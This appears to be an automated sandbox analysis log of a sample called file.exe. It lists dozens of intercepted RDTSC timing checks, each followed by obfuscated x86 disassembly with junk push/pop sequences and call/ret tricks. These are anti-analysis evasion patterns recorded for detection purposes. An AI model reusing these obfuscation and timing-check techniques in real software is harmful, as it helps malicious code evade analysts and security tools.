Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E1F7 second address: D6E258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F6DFCC4183Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov di, si 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F6DFCC41838h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push 00000000h 0x00000030 pushad 0x00000031 mov edi, dword ptr [ebp+122D192Dh] 0x00000037 mov eax, dword ptr [ebp+1244BD46h] 0x0000003d popad 0x0000003e xchg eax, ebx 0x0000003f pushad 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F6DFCC41846h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E258 second address: D6E262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E262 second address: D6E266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EC1C second address: D6EC7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov esi, dword ptr [ebp+122D21B9h] 0x00000013 push 00000000h 0x00000015 pushad 0x00000016 mov si, bx 0x00000019 push edx 0x0000001a movzx edx, dx 0x0000001d pop esi 0x0000001e popad 0x0000001f mov esi, dword ptr [ebp+122D28A3h] 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edi 0x0000002a call 00007F6DFD003CB8h 0x0000002f pop edi 0x00000030 mov dword ptr [esp+04h], edi 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc edi 0x0000003d push edi 0x0000003e ret 0x0000003f pop edi 0x00000040 ret 0x00000041 mov dword ptr [ebp+1247AB18h], ecx 0x00000047 sub si, F692h 0x0000004c push eax 0x0000004d push ecx 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F6DFD003CBEh 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F676 second address: D6F6E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F6DFCC41838h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 push 00000000h 0x00000024 jmp 00007F6DFCC4183Fh 0x00000029 jmp 00007F6DFCC4183Eh 0x0000002e push 00000000h 0x00000030 mov edi, 6586D7FCh 0x00000035 xchg eax, ebx 0x00000036 push ebx 0x00000037 push edx 0x00000038 jmp 00007F6DFCC41840h 0x0000003d pop edx 0x0000003e pop ebx 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 push edi 0x00000044 pop edi 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F6E3 second address: D6F704 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F704 second address: D6F708 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70151 second address: D7015B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6DFD003CB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70BE2 second address: D70C17 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6DFCC41840h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, 3EDA1352h 0x00000012 push 00000000h 0x00000014 add dword ptr [ebp+12470D44h], esi 0x0000001a movzx esi, si 0x0000001d push 00000000h 0x0000001f sbb si, ED81h 0x00000024 xchg eax, ebx 0x00000025 push eax 0x00000026 push edx 0x00000027 push edi 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70C17 second address: D70C41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6DFD003CC4h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71344 second address: D71349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71D93 second address: D71D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71349 second address: D71353 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6DFCC41836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D71D97 second address: D71D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75B68 second address: D75B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75B6E second address: D75B8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6DFD003CC5h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D760F9 second address: D76104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6DFCC41836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76277 second address: D76285 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7633B second address: D7633F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79DC0 second address: D79DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007F6DFD003CB6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6DFD003CBCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79DDC second address: D79DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BE2B second address: D7BE3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CBBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BE3A second address: D7BE93 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F6DFCC4183Ch 0x00000012 nop 0x00000013 mov dword ptr [ebp+12472815h], ebx 0x00000019 push 00000000h 0x0000001b movzx edi, dx 0x0000001e push 00000000h 0x00000020 call 00007F6DFCC4183Fh 0x00000025 push esi 0x00000026 ja 00007F6DFCC41836h 0x0000002c pop ebx 0x0000002d pop edi 0x0000002e push eax 0x0000002f pushad 0x00000030 jmp 00007F6DFCC41845h 0x00000035 push edi 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEB3 second address: D7CEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEB9 second address: D7CEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEBD second address: D7CEE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sbb di, 2398h 0x00000010 push 00000000h 0x00000012 xor edi, dword ptr [ebp+122D35F3h] 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+12472815h], esi 0x00000020 xchg eax, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEE3 second address: D7CEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEEA second address: D7CEF8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEF8 second address: D7CEFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7CEFC second address: D7CF06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D05E second address: D7D077 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jns 00007F6DFCC41838h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D077 second address: D7D07B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A951 second address: D2A957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A957 second address: D2A961 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6DFD003CB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2A961 second address: D2A96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80355 second address: D803A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F6DFD003CB8h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 stc 0x0000002a xchg eax, esi 0x0000002b jmp 00007F6DFD003CBBh 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jng 00007F6DFD003CC3h 0x00000039 jmp 00007F6DFD003CBDh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D803A6 second address: D803AB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81338 second address: D81358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6DFD003CBBh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D83530 second address: D8357C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F6DFCC41836h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f movzx edi, cx 0x00000012 push 00000000h 0x00000014 xor edi, 438E6FB1h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007F6DFCC41838h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 mov di, 6400h 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d jp 00007F6DFCC4183Ch 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8357C second address: D83582 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D804EE second address: D804F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D814A0 second address: D814AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6DFD003CB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D814AB second address: D814B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D815AB second address: D815B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D845BD second address: D845F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F6DFCC41841h 0x0000000f jmp 00007F6DFCC41849h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D815B1 second address: D815B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7DF9D second address: D7DFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82651 second address: D826CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bh, C3h 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov bx, cx 0x00000015 mov dword ptr fs:[00000000h], esp 0x0000001c mov edi, dword ptr [ebp+1244B5B5h] 0x00000022 mov eax, dword ptr [ebp+122D016Dh] 0x00000028 push 00000000h 0x0000002a push esi 0x0000002b call 00007F6DFD003CB8h 0x00000030 pop esi 0x00000031 mov dword ptr [esp+04h], esi 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc esi 0x0000003e push esi 0x0000003f ret 0x00000040 pop esi 0x00000041 ret 0x00000042 movsx ebx, cx 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F6DFD003CB8h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 00000018h 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 call 00007F6DFD003CBCh 0x00000066 pop ebx 0x00000067 nop 0x00000068 push ebx 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85683 second address: D85687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85687 second address: D856E9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F6DFD003CCCh 0x0000000c jmp 00007F6DFD003CC6h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 xor dword ptr [ebp+1247AE3Eh], ecx 0x0000001b push 00000000h 0x0000001d pushad 0x0000001e mov cl, A6h 0x00000020 cmc 0x00000021 popad 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push edi 0x00000027 call 00007F6DFD003CB8h 0x0000002c pop edi 0x0000002d mov dword ptr [esp+04h], edi 0x00000031 add dword ptr [esp+04h], 0000001Ah 0x00000039 inc edi 0x0000003a push edi 0x0000003b ret 0x0000003c pop edi 0x0000003d ret 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jng 00007F6DFD003CB8h 0x00000047 push eax 0x00000048 pop eax 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8480F second address: D84815 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D867CE second address: D867D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FB27 second address: D8FB31 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6DFCC41836h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2DDCE second address: D2DDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jc 00007F6DFD003CB6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F42F second address: D8F44E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6DFCC41836h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F6DFCC41843h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D958EE second address: D958F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D958F2 second address: D958F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D958F6 second address: D958FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D958FC second address: D95917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFCC41847h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95917 second address: D9593C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9593C second address: D95958 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6DFCC4183Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95A42 second address: D95A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95A46 second address: D95A81 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6DFCC41846h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f jns 00007F6DFCC41847h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95A81 second address: D95A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95A85 second address: D95A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95B3C second address: D95B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6DFD003CC2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95B52 second address: D95B79 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F6DFCC4183Bh 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007F6DFCC4183Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95B79 second address: D95B7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95D4E second address: D95D58 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6DFCC4183Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B10A second address: D9B127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F6DFD003CB8h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6DFD003CBBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9B127 second address: D9B146 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6DFCC41836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6DFCC41845h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1D1BF second address: D1D1C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99F46 second address: D99F4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D99F4C second address: D99F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ACE9 second address: D9ACF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ACF1 second address: D9ACF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ACF5 second address: D9ACF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9ACF9 second address: D9AD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AFA8 second address: D9AFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jns 00007F6DFCC41836h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AFB4 second address: D9AFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AFB8 second address: D9AFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D725B1 second address: D725EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6DFD003CBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dh, B3h 0x0000000e jmp 00007F6DFD003CBBh 0x00000013 lea eax, dword ptr [ebp+12486399h] 0x00000019 or dx, 6FAFh 0x0000001e nop 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F6DFD003CBBh 0x00000027 rdtsc
